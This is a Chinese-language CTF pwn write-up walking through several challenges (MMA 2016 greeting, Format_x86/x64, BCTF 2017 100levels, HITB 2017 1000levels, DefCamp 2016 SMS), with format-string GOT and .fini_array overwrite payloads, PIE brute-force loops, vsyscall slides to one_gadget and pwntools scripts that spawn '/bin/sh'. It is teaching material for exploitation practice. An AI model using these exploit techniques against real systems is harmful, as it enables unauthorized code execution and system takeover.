不多说接上文

格式化字符串0x06

一、MMA CTF 2nd 2016-greeting

1.常规checksec，开了canary和NX。IDA打开找漏洞，main函数中格式化字符串漏洞：

#注释头


char v5; // [esp+5Ch] [ebp-44h]
char s; // [esp+1Ch] [ebp-84h]
-----------------------------------------------------
if ( !getnline(&v5, 64) )
sprintf(&s, "Nice to meet you, %s :)\n", &v5);
return printf(&s);

2.再找system，有导入，没有binsh，没有Libc。用格式化字符串修改某个函数的got表指向system函数，然后再次运行程序得以输入binsh传给该函数，相当于调用system函数，之后就可以getshell。但是发现该程序中没有循环，修改之后没办法再次输入。

3.这里需要用到c语言的结构执行：

c语言编译后，执行顺序如图所示，总的来说就是在main函数前会调用.init段代码和.init_array段的函数数组中每一个函数指针。同样的，main函数结束后也会调用.fini段代码和.fini._arrary段的函数数组中的每一个函数指针。

4.利用Main函数结束时会调用fini段的函数组这一个特点，我们尝试找到fini函数组的地址，利用格式化字符串漏洞来修改该地址，修改.fini_array数组的第一个元素为start，使得Main函数退出时运行该地址可以重复回到start来再次执行一次输入。

5.fini_array段的地址直接ctrl+s就可以找到，内容是__do_global_dtors_aux_fini_array_entry dd offset __do_global_dtors_aux，保存的内容是一个地址，该地址对应是一个代码段，该代码段的函数名为__do_global_dtors_aux proc near。其它函数对应的got,plt可以通过elf.pot\\elf.plt对应的来搜索。

6.但是这里存在一个问题，要将什么地址劫持为system函数？这个地址必须是在getline最后或者是之后，而且还需要有参数来执行binsh。第一个想到的是sprintf，因为该函数在getline函数之后，并且从右往左数第一个参数就是我们保存的内容，但是尝试过后发现崩溃了，修改是能修改，但是传参的时候有点问题。后面查看该函数汇编代码：

可以看到查看该函数从栈上取的第一个参数应该是s这个数组，而不是我们穿的v5，而如果劫持为system函数，那么就要求栈上的esp指向的内容的地址是binsh字符串，但是这里确实指向s这个数组中的内容，为空，那么system函数就没办法调用成功了。后面又看printf函数，还是不行，因为这里printf函数的参数也是s这个数组，内容此时为空，无法顺利调用。之后再找，经过getnline函数内部可以发现有个strlen函数：

#注释头

#代码中的形式：
if ( !getnline(&v5, 64) )
----------------------------------------------------------------
getnline(char *s, int n)
return strlen(s);

#该函数原型：
unsigned int strlen(const char *str);
-------------------------------------------------------
#system函数原型：
int system(const char *command);

system函数调用规则是需要一个地址，地址上保存的内容是binsh字符串，或者直接"binsh"字符串赋予，C语言中就代表在全局变量中开辟一块内存，然后该内存保存的是binsh字符串，然后将该内存的地址赋予给system函数当作参数运行。总之就是system函数需要的参数是一个地址。

这里的strlen满足这个条件，虽然上面写的只是s，但是s中保存的内容是一个地址，输入AAAA，通过调试查看内容：

同样的，查看下汇编代码：

可以看到[esp+s]相当于是取s的栈地址赋值给eax，然后eax赋值给esp栈顶，这两行破代码有病，一毛一样。所以现在跳转进strlen中的话，esp的值也就是参数，是一个栈上地址，内容就是AAAA。也就相当于在strlen中的s的值是一个地址，那么劫持后，就相当于system(s)，同样可以getshell。

▲劫持为system函数，要求原函数的参数也应该是一个地址才行，不然无法跳转。

7.确定攻击思路后，开始计算偏移，先用IDA简单远程调试，输入AAAA，然后将程序一直运行至printf处，可以看到栈中的偏移为12.5处会出现A的ascii值，也就是41。由于我们需要栈中完整的对应地址，所以需要输入aa填充两个字节，来使得偏移量从12.5到13处，从而能够完整地输入我们需要修改的地址。

8.之后编写payload，这里使用控制字符%hn(一次改动两个字节)来修改：

payload = ‘aa’+p32(fini_array_addr+2) + p32(fini_array_addr) + p32(strlen_got+2) + p32(strlen_got) + str(格式化fini+2) + str(格式化fini) + str(格式化strlen_got+2) + str(格式化strlen_got)

9.之后还得确定输出的值：

#注释头

fini_array = 0x08049934
start_addr = 0x080484f0
strlen_got = 0x08049a54
system_plt = 0x08048490

查看代码，由于sprintf的作用，printf的参数s保存的不止有我们输入的，还有Nice to meet you,计算加上aa可得总共有8f-7c+1=0x14个，再加上三个32位的地址12字节，总共32字节，也就是0x20。(计算截至为 str(格式化fini+2)处)

10.另外由于.fini_array的内容为0x080485a0(按d可查看数据)，而我们需要更改的start地址为0x080484f0，所以只需要改动大端序列中的85a0变成84f0即可。所以格式化.fini中需要再输出的字节数应该是0x84f0-0x20=0x84D0=34000。而0x08049934+2处的内容本身就是0804，不需要修改。所以只需要修改.fini_array_addr对应的内容即可，(.fini_array+2对应的内容本身就是0804，不用修改)。所以payload可以删去p32(fini_array_addr+2)和str(格式化fini+2)。

11.接着计算，需要将strlen_got+2处的值改成0804，由于之前已经输出了0x84f0所以需要用到数据截断。也就是格式化内容中需要再输出的字节数为0x10804-0x84f0=0x8314=33556。

然后再计算strlen_got的值，需要再输出0x18490-0x10804=0x7c8c=31884。

故都计算完毕，最后payload为：

payload = ‘aa’ + p32(fini_array_addr) + p32(strlen_got+2) + p32(strlen_got) + ’%34000c%12$hn’ + ‘%33556c%13$hn’ + ‘%31884c%14$hn’

12.payload之后，运行完第一次的printf之后，程序会回到start，之后需要再输入字符串io.sendline('/bin/sh\x00')来完整运行system，从而getshell。

二、Format_x86和format_x64

★32位程序：

1.常规checksec，只开了NX。打开IDA查漏洞，main函数中格式化字符串漏洞：

#注释头

memset(&buf, 0, 0x12Cu);
read(0, &buf, 0x12Bu);
printf(&buf);

2.这里会有一个重复读取的循环，开shell需要system函数和binsh字符串，这里只有system函数，got和plt都对应有，没有binsh字符串，没有libc。

3.由于printf漏洞，我们可以利用这个漏洞向指定的内存地址写入指定的内容，这里考虑将printf的got中的值更改system函数plt表项的值。原本如果调用printf函数，则相当于执行printf函数的got表中保存的printf函数的真实地址处的代码，更改之后相当于执行system函数plt表地址处的代码，也就相当于调用system函数。原理如下：

原本执行Printf函数：相当于执行printf的执行代码

#注释头

printf_got_addr:   7Fxxxxxx
7Fxxxxxx:          printf的执行代码

更改之后：相当于执行jmp system_got代码，那就相当于执行system函数了

#注释头

printf_got_addr:          08048320(system_plt)
08048320(system_plt):     jmp system_got

4.那么预想程序总流程如下：第一次读取，输入payload，然后printf执行，将printf的got表更改为system函数plt表。通过while循环，第二次读取，输入binsh字符存入buf中，此时printf(&buf)，相当于system(&buf)，那就相当于system(binsh)，即可直接getshell。

5.编写payload，首先需要计算一下偏移地址，将断点下在call printf上，通过调试能够查看到printf写入栈中的地址距离esp的偏移量为6，所以使用控制字符%n来将printf劫持到system，这里偏移就会成n-1为5。偏移代表的是取参数的时候的偏移量，下面的payload对应的5，6，7，8就对应向地址print_got，print_got+1，print_got+2，print_got+3写入内容。由于是修改地址，所以用%hhn来逐个修改，防止向服务器发送过大数据从而出错。

(1)找到got表和plt表项的值

#注释头

printf_got = 0x08049778
system_plt = 0x08048320

(2)32位程序，4个字节一个地址，所以需要四个地址：

#注释头

payload = p32(printf_got)
payload += p32(printf_got+1)
payload += p32(printf_got+2)
payload += p32(printf_got+3)

(3)由于是大端序，低地址保存的是高地址的内容，print_got需要保存的应该是system_plt的最后一个字节，也就是0x20。

①由于前面已经输入了p32(printf_got)+p32(printf_got1)+p32(printf_got2)+p32(printf_got3)，这些在没有遇到%之前一定会被打印出来，共计16个字节，而我们需要让它总共打印出0x20个字节，所以我们再打印(0x20-16)个字节。

②同样，由于前面已经打印了0x20个字节，我们总共需要打印0x83个字节，所以应该再让程序打印%(0x83-0x20)个字节，之后道理相同。

#注释头


payload += "%"
payload += str(0x20-16)
payload += "c%5$hhn"
#写入0x20到地址print_got

payload += "%"
payload += str(0x83-0x20)
payload += "c%6$hhn"
#写入0x83到地址print_got+1

payload += "%"
payload += str(0x104-0x83)
payload += "c%7$hhn"
#写入0x04到地址print_got+2，0x104被截断为04

payload += "%"
payload += str(0x108-0x104)
payload += "c%8$hhn"
#写入0x08到地址print_got+3，0x108被截断为08

▲为了便于理解，下面代码也行：

#注释头

payload = p32(printf_got+1) 
#使用hhn写入，分别对应待写入的第3，4，2，1字节
payload += p32(printf_got)
payload += p32(printf_got+2)
payload += p32(printf_got+3)

payload += "%"
payload += str(0x83-16) #被写入的数据，注意四个地址长度是16，需要减掉
payload += "c%5$hhn"

payload += "%"
payload += str(0x120-0x83)
payload += "c%6$hhn"

payload += "%"
payload += str(0x204-0x120) #由于是hhn所以会被截断，只留后两位
payload += "c%7$hhn"

payload += "%"
payload += str(0x208-0x204)
payload += "c%8$hhn"

6.其实可以直接使用类Fmtstr，效果一样，将Payload替换成下列代码即可

payload = fmtstr_payload(5, {printf_got:system_plt})

7.之后再io.sendline('/bin/sh\x00')，即可getshell

★64位程序

1.由于64位，传参的顺序为rdi, rsi, rdx, rcx, r8, r9，接下来才是栈，所以偏移量应该是6指向栈顶。之后考虑使用fmtstr来直接构造获取：

payload = fmtstr_payload(6, {printf_got:system_plt})

但是这个方法会出错，因为在这种情况下，我们的地址如下

#注释头

printf_got = 0x00601020
system_plt = 0x00400460

需要写入地址printf_got的首两位是00，且以p64形式发送，所以先发送的是0x20，0x10，0x60，0x00，0x00.......而Read函数读到0x00就会截断，默认这是字符串结束了，所以之后的都无效了。

2.那么考虑手动方式，将p64(printf_got)放在payload的末尾，这样就只有最后才会读到0x00，其它的有效数据都能读入。

3.使用手动方式就需要再次计算偏移量，我们的payload构成应该是

payload = ”%”+str(system_plt)+”c%8$lln” + p64(printf_got)

这里偏移量为8是因为经过调试发现我们的输入从栈顶开始计算，也就是从栈顶开始，一共输入了

1(%) + 7(0x400460转换成十进制为4195424，也就是7个字节) + 7(“c%8$lln”) + 8(p64_printf_got)=23个字节。

经过计算我们发现，p64前面的字节数为15个字节，不足8的倍数，这样会导致printf_got的最后一个字节20被截断至偏移量为7的位置，从而使得偏移量为8的位置只有6010，导致出错。所以我们需要填充一个字节进去，让它不会被截断。

#注释头

payload = ”a%” + str(system_plt-1)+”c%8$lln” + p64(printf_got)

加入一个字节a就可以使得在参数偏移量为6和7的位置中不会截断0x601020。同时加入字节a就要使system_plt-1来满足最终打印的字符个数为0x00400460，从而才能成功将0x00400460(system_plt)写入到0x00601020(printf_got)

5.完成payload之后，再次循环进入，输入io.sendline('/bin/sh\x00')后interactive()即可getshell

参考资料：

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

爆破绕过PIE0x07

一、BCTF 2017-100levels

1.常规checksec，开启了NX和PIE，不能shellcode和简单rop。之后IDA打开找漏洞，E43函数中存在栈溢出漏洞：

#注释头

__int64 buf; // [rsp+10h] [rbp-30h]
--------------------------------------------------
read(0, &buf, 0x400uLL);

有栈溢出那么首先想到是应该查看有没有后门，但是这个程序虽然外部引用了system函数，但是本身里并没有导入到.got.plt表中，没办法直接通过.got.plt来寻址。而且开了PIE，就算导入到.got.plt表中，也需要覆盖返回地址并且爆破倒数第四位才能跳转到system函数。虽然有栈溢出，但是没有后门函数，同样也没办法泄露Libc地址。

2.想getshell，又只有一个栈溢出，没有其它漏洞，还开了PIE和NX，那么一定得泄露出地址才能做，而printf地址也因为PIE没办法直接跳转。陷入卡顿，但是这里可以查看E43函数中的printf的汇编代码：

只能通过栈溢出形式来为下一次的printf赋参数来泄露。又由于PIE，也不知道任意一个函数的代码地址，那也没办法泄露被加载进入Libc中的内存地址。

3.通过调试可以看到，进入E43函数中，抵达printf函数时，栈顶的上方有大量的指向libc的地址：

并且观察E43函数中的汇编代码，可以看到Printf是通过rbp取值的，那么我们可以通过栈溢出修改rbp来使得[rbp+var_34]落在其它地方，而如果这个其它地方有libc地址，那么就相当于泄露出了Libc地址。

4.这个关卡数是由我们设置的，而且通过递归调用E43函数，形成多个E43的栈，那么进行调试，第二次进入E43的栈之后，仍然在运行到printf函数时，栈顶上方仍旧有大量的Libc地址。由于我们需要修改rbp来使得下一次的printf打印出libc地址，那么关卡最低需要设置两关，第一关用来栈溢出，修改rbp，使得第二关中的printf函数指向栈顶上方从而打印出Libc地址。

5.由于栈的随机化，我们如果随意修改rbp那么就会打印出奇怪的东西，所以修改rbp的最后一个字节，使得[rbp+var_34]能够移动一定范围，以一定几率命中栈顶上方。而又由于是递归调用，第一关的栈在第二关的栈的上方，模型大致如下：

(1)第一次rbp和rsp以及第二次的如图：

(2)第一次栈以及第二次栈如图：

▲这里用的是Libc-2.32的，用其他的Libc就不太一样，具体情况具体分析。

6.这里的模型是假设第一次的rsp栈顶后两位为00，但是由于栈地址随机化，所以rsp其实可以从0x00-0xFF之间变化，对应的地址也就是从0-31之间变化。

7.这里先考虑第一个问题，rbp-var34如何落到libc空间中，也就是当0往下移动，变化为大约是4或者5时，即可落到libc空间。同样的，从5-16变化，都可以使得rbp-var34落在libc空间。但是如果0变化成16以上，对应的第二次栈空间rbp就会变成32以上，换算成16进制为0x100，这时修改最后两位，就会变成0x15c，使得它不但不往上走，更会往下走，从而没办法落到libc空间。总而言之，慢慢研究下，然后计算概率大约为12/32=3/8，可以使得落在Libc空间。这里的5c可以改变成其它值x，但是需要x-0x34为8的倍数才行，不然取到的地址会是截断的，但是修改后成功概率会发生改变，因为0x5c扫到的地址范围大概就是libc的栈空间。

8.落在libc空间不代表一定就会落在指向Libc地址上，前面可以看到，在16个地址范围内大概为7个，也就是1/2的概率成功。然后由于有v2%a1这个运算，也就对应汇编代码idiv    [rbp+var_34]，这就导致如果rbp+var_34的数据为0那么就会产生除零操作，这里没办法去掉。需要进行try操作来去除这个错误，使程序重新运行，进行自动化爆破。同时泄露出来的地址会发现有时候是正数有时候是负数。这是因为我们只能泄露出地址的低32位，低8个十六进制数。而这个数的最高位可能是0或者1，转换成有符号整数就可能是正负两种情况。这里进行处理可避免成功率下降：

#注释头

if addr_l8 < 0:
addr_l8 = addr_l8 + 0x100000000

9.但是泄露出来的地址由于printf的参数是%d，所以打印出来的是32位地址，还需要猜剩下32位。但是这里有个技巧，貌似所有64程序加载后的代码段地址都在0x000055XXXXXXXXXX-0x000056XXXXXXXXXX之间徘徊，对应的libc加载段在0x00007EXXXXXXXXXX-0x00007FXXXXXXXXXX范围，以下是测试数据：

程序开头段.load首地址和debug段首地址：

#注释头

00007F1301D2A000  
000056238FCAB000
差值为28EF 7207 F000

00007FCB31061000
000055D513E06000
差值为29F6 1D25 B000

00007F58EFF09000
000055F7C1BEC000
差值为2983 DC10 3000

具体原理好像是PIE源代码随机的关系，但具体不太清楚，能用就行。所以高32位就可以假设地址为0x00007fxx，所以这里需要爆破0x1ff大小，也就是511，相当于512次，但是其实可以知道，大概率是落在0x7f里，看数据分析也可以知道，所以实际爆破次数基本在500次以内。所以将泄露出来的地址加上一个在0x7f里的值，也就是addr = addr_l8 + 0x7f8b00000000，之后再根据Libc空间中指向libc地址的后两位来区分地址：并减去在libc中查到的偏移量即可得到Libc基地址。

#注释头

if hex(addr)[-2:] == '0b': #__IO_file_overflow+EB
libc_base = addr - 0x7c90b

elif hex(addr)[-2:] == 'd2': #puts+1B2
libc_base = addr - 0x70ad2

elif hex(addr)[-3:] == '600':#_IO_2_1_stdout_
libc_base = addr - 0x3c2600

elif hex(addr)[-3:] == '400':#_IO_file_jumps
libc_base = addr - 0x3be400

elif hex(addr)[-2:] == '83': #_IO_2_1_stdout_+83
libc_base = addr - 0x3c2683

elif hex(addr)[-2:] == '32': #_IO_do_write+C2
libc_base = addr - 0x7c370 - 0xc2

elif hex(addr)[-2:] == 'e7': #_IO_do_write+37
libc_base = addr - 0x7c370 - 0x37

所以算上命中概率，其实调试的时候可以看到，第一关的栈空间中由于程序运行结果也会有几个指向Libc地址，加上这几个也可以提高成功率，因为修改的rbp也是有可能落在第一关的栈空间。总的爆破次数应该就是500/((1/2)*(3/8))，约为2500次，还能接受。

10.泄露出Libc地址之后一般就有两种方法，一种是利用栈溢出，调用万能gadget用system函数进行binsh字符串赋值，从而getshell。还有一种就是，利用one_gadget来getshell，通过查看E43返回时的汇编代码有一个move eax,0；满足libc-2.23.so的其中一个one_gadget的条件，那么直接用就行。

11.最后libc基地址加上one_gadget的偏移地址就可以得到one_gadget的实际地址。

one_gadget = libc_base + 0x45526

之后在第二关中再次进行栈溢出覆盖rip来跳转到one_gadget即可getshell。

参考资料：

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

二、HITB GSEC CTF 2017-1000levels

1.与之前BCTF 2017-100levels一模一样，只不过最大值变成了1000关，所以这里也同样可以用爆破来做，但是可以用另一种方法，vsyscall。

2.进入IDA可以看到有一个hint函数，而且里面有system函数，但是很奇怪：

#注释头

sprintf((char *)&v1, "Hint: %p\n", &system, &system);

这个代码没怎么看懂，还是看下汇编代码：

这里就是将system的地址赋值给rax，然后rax给栈上的[rbp+var_110]赋值。之后也没有什么其它的更改栈上[rbp+var_110]的操作，所以进入hint函数之后，一定会将system函数放到栈上，通过调试也可以看出来。

3.之后进入go函数，发现如果第一次输入负数，原本将关卡数赋值给[rbp+var_110]的操作就不会被执行，那么[rbp+var_110]上保存的仍然是system函数的地址。之后再输入关卡数，直接加到[rbp+var_110]上，那么如果第一次输入负数，第二次输入system函数和one_gadget的偏移，那么就变相将[rbp+var_110]上存放的内容保存为one_gadget的地址。

▲这里需要注意的是，[rbp+var_110]是在hint函数中被赋值的，而go函数中用到的也是[rbp+var_110]这个变量，但是不同函数栈肯定是不同的，所以这里两个[rbp+var_110]是不是一样的就值得思考一下。看程序可以发现，hint函数和go函数都是在main函数中调用的，那么如果调用的时候两处的rsp是一样的就可以保证两个函数的rbp一样，也就代码[rbp+var_110]也是一样的。查看汇编代码：

可以看到从读取选项数据之后，到判断语句一直没有push,pop之类的操作，也就是说程序无论是运行到hint函数还是go函数时，main函数栈的状态都是一样的，从而导致进入这两个函数中的栈底也都是同一个地址，那么[rbp+var_110]也就一样，所以用hint函数来为[rbp+var_110]赋值成system函数，再用go函数来为[rbp+var_110]赋值为one_gadget这条路是可以的，同样可以调试来确定一下。

4.那么赋值之后进入level关卡函数，由于递归关系，最后一关的栈是和go函数的栈连在一起的，所以可以通过最后一关的栈溢出抵达go函数的栈，从而抵达[rbp+var_110]这个地址处。

5.但是栈溢出只能修改数据，就算控制eip，但是也并不知道[rbp+var_110]处的真实地址，只能通过调试来知道偏移是多少。所以这里需要用的vsyscall来将rsp下挪到[rbp+var_110]处从而执行vsyscall的ret操作来执行[rbp+var_110]处的代码，也就是one_gadget。

6.这里看一下vsyscall处的数据：

▲vsyscall的特点：

(1)某些版本存在，需要用到gdb来查看，IDA中默认不可见。

(2)地址不受到ASLR和PIE的影响，固定是0xffffffffff600000-0xffffffffff601000。

(3)不能从中间进入，只能从函数开头进入，意味着不能直接调用里面的syscall。这里vsyscall分为三个函数，从上到下依次是

A.gettimeofday: 0xffffffffff600000

B.time: 0xffffffffff600400

C.getcpu: 0xffffffffff600800

(4)gettimeofday函数执行成功时返回值就是0，保存在rax寄存器中。这就为某些one_gadget创造了条件。

7.观察代码可以发现，三个函数执行成功之后相当于一个ret操作，所以如果我们将gettimeofday放在eip处，那么就相当于放了一个ret操作上去，而ret操作又相当于pop  eip，那么就相当于直接将rsp往下拉了一个单位。如果我们多次调用gettimeofday，那么就可以将rsp下拉多个单位，从而抵达我们想要的地方来执行代码。那么这里就可以将eip改成gettimeofday，然后在之后添加多个gettimeofday来滑到one_gadget来执行代码。

8.所以现在就可以编写exp了

(1)前置内容：

#注释头

libc_system_offset = 0x432C0					
#减去system函数离libc开头的偏移
one_gadget_offset = 0x43158				
#加上one gadget rce离libc开头的偏移
vsyscall_gettimeofday = 0xffffffffff600000

io.recvuntil('Choice:')
io.sendline('2') #让system的地址进入栈中
io.recvuntil('Choice:')
io.sendline('1') #调用go()
io.recvuntil('How many levels?')
io.sendline('-1') #输入的值必须小于0，防止覆盖掉system的地址
io.recvuntil('Any more?')
io.sendline(str(one_gadget_offset-libc_system_offset))		
#第二次输入关卡的时候输入偏移值，从而通过相加将system的地址变为one gadget rce的地址

这里由于相加关系，levels=system_addr + one_gadget_offset - libc_system_offset,肯定超过999，所以关卡数一定是1000关。

(2)开始循环答题，直至到达最后一关执行栈溢出：

#注释头

def answer():
    io.recvuntil('Question: ') 
    answer = eval(io.recvuntil(' = ')[:-3])
    io.recvuntil('Answer:')
    io.sendline(str(answer))
for i in range(999): #循环答题
    log.info(i)
    answer()

(3)最后一关执行栈溢出，利用gettimeofday滑至one_gadegt从而getshell。

#注释头

io.recvuntil('Question: ')
io.send(b'a'*0x38 + p64(vsyscall_gettimeofday)*3)
io.interactive()

▲以下是测试[rbp+var_110]的数据：

main函数中的rbp:    00007FFD3A854900

hint函数中的rbp:      00007FFD3A8548C0

go函数中的rbp:        00007FFD3A8548C0

▲vsyscall用法:

vsyscall直接进行syscall，并没有利用栈空间，所以在处理栈溢出，但是由于PIE没有别的地址可以用时，而栈上又有某个有用的地址的时候，可以通过vsyscall构造一个rop链来ret，每次ret都会消耗掉一个地址，将rsp下拉一个单位，这样就可以逐渐去贴近想要的那个地址，最后成功ret到相应的位置。

▲vdso的特点：

(1)vdso的地址随机化的，且其中的指令可以任意执行，不需要从入口开始。

(2)相比于栈和其他的ASLR，vdso的随机化非常的弱，对于32的系统来说，有1/256的概率命中。

(3)不同的内核随机程度不同：

A.较旧版本：0xf76d9000-0xf77ce000

B.较新版本：0xf7ed0000-0xf7fd0000

C.其它版本：

可以编译以下文件之后用脚本查看：

//注释头

// compiled: gcc -g -m32 vdso_addr.c -o vdso_addr
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    printf("vdso addr: %124$p\n");//这里的偏移不同内核不一样，可调试一下看看。
    return 0;
}

查看脚本：

#注释头

#!/usr/bin/python
# -*- coding:utf-8 -*-

import os

result = []
for i in range(100):
    result += [os.popen('./vdso_addr').read()[:-1]]

result = sorted(result)

for v in result:
    print (v)

▲vdso的用法：与vsystem类似，泄露出地址后相当于有了syscall。另外32位条件下有__kernel_rt_sigreturn，可以打SROP。

参考资料：

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

https://xz.aliyun.com/t/5236

三、DefCamp CTF Finals 2016-SMS

1.常规checksec操作，开了PIE和NX，首先shellcode不能用。其次PIE表示地址随机化，也就是没办法覆盖返回地址来直接跳转到我们想要的函数处。IDA打开找漏洞，可以看到在doms函数中的v1的栈地址被传递给set_user和set_sms

之后set_user中会读取输入保存在S这个栈地址上，然后从s中读取前四十个字节到a1[140]-a1[180]，这个a1就是doms函数中的v1。

再往后看，在set_sms函数中，同样读取1024个字节到S这个栈变量中，并且最后将S的特定长度strncpy给a1，这个特定长度就是a1[180]。所以这里我们可以通过set_user来控制a1[180]，进而控制set_sms函数中strncpy给a1拷贝的长度，也就是doms函数中v1的长度，使其大于v1距离栈底的距离0xc0，从而在doms函数栈中执行栈溢出，而doms函数中的v1也就是a1，是在set_sms中由我们输入到S上的内容拷贝过去的，长度为0x400，完全可控。

另外程序存在后门frontdoor()，只要进入这个函数，再输入binsh字符串就能getshell。

2.所以现存在doms函数栈溢出，后门函数这两个漏洞，但是由于PIE，在程序运行过程中没办法确定frontdoor()的地址，无法直接覆盖doms函数返回地址到达后门函数

3.这里就需要用到内存页的一个知识点，由于一个内存页的大小为0x1000，而frontdoor()函数和dosms函数和main函数等等函数，都在同一个内存页上，所以在64位程序下他们的函数地址都是0x############x***这种类型，前面12位#每次加载都不一样，而后面的三位***不会发生改变，因为都在0x0000563cc913(x)000 - 0x0000563cc913(x+1)000这个内存页上。用IDA打开按ctrl+s可以看到

这些段都在0x0000563cc913(x)000 - 0x0000563cc913(x+1)000这个内存页上。而开启了PIE程序的，0000563cc913(x)这个数值每次都会变化，但是最后三位是不会改变的，就是固定相对于这个内存页起始位置的偏移。

4.所以覆盖返回地址时，可以想到，dosms函数的返回地址是call dosms下一条指令，也就是在main函数上，而frontdoor函数的地址与main函数的地址都在0x0000563cc913(x)这个内存页上。所以当程序被加载，0x0000563cc913(x)这个数值发生改变时，frontdoor函数和main函数地址中对应的数值也会相应改变，而且都是一样的。这种情况下，就可以通过修改dosms返回地址的后四位，也就是之前的(x)yyy来跳转到frontdoor。

5.如果直接爆破，按照数学期望需要尝试0xffff+1=65535+1这么多次，太巨大。这里又考虑到yyy时不会改变的，所以用IDA可以看到frontdoor函数的后三位地址为900，我们在写payload的时候直接写入即可，就是PIE也不会发生改变。现在唯一不确定的就是(x)yyy中的x。直接爆破就好，平均尝试的数学期望为f+1=16次，也不算太高。

6.所以尝试写payload:

(1)修改set_user中的a1[180]的值：

#注释头

def setlength():
    io.recvuntil('> ')
    payload_setlength = 'a'*40 #padding
    payload_setlength += '\xca' 
    io.sendline(payload_setlength)

(2)执行栈溢出，覆盖返回地址的低两个字节为"\x(x)9"和"\x01"(大端序，注意顺序)

#注释头

def StackOverflow():
    io.recvuntil('> ')
    payload_StackOverflow = 'a'*200 #padding
    payload_StackOverflow += '\x01\xa9' 
    #frontdoor的地址后三位是0x900, +1跳过push rbp，影响
    io.sendline(payload_StackOverflow)

这里跳过push rbp的原因是因为strncpy的关系，如果发送的是\x00,\xa9，那么先复制\x00，则会由于strncpy的机制提前结束复制，造成a9没办法复制进去，从而程序出错。(发送的由于是fget函数，所以会全盘接受，\x00也会接受，不是读取函数的原因。)而跳过push rbp并不影响frontdoor里面的函数执行，所以不会影响getshell。

(3)由于每次地址随机，所以地址随机成a900的概率为1/16，那么就考虑用自动化来爆破实施：

#注释头

i = 0
while True:
    i += 1
    print i
    io.remote("127.0.0.1",0000)
    setlength()
    StackOverflow()
    try:
        io.recv(timeout = 1) 
        #要么崩溃要么爆破成功，若崩溃io会关闭，io.recv()会触发   EOFError
    except EOFError:
        io.close()
        continue
    else:
        sleep(0.1)
        io.sendline('/bin/sh\x00')
        sleep(0.1)
        io.interactive() #没有EOFError的话就是爆破成功，可以开shell
        break

▲如果直接process本地则没办法成功运行，需要用socat转发，用127.0.0.1本地连接才可以。

参考资料：

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

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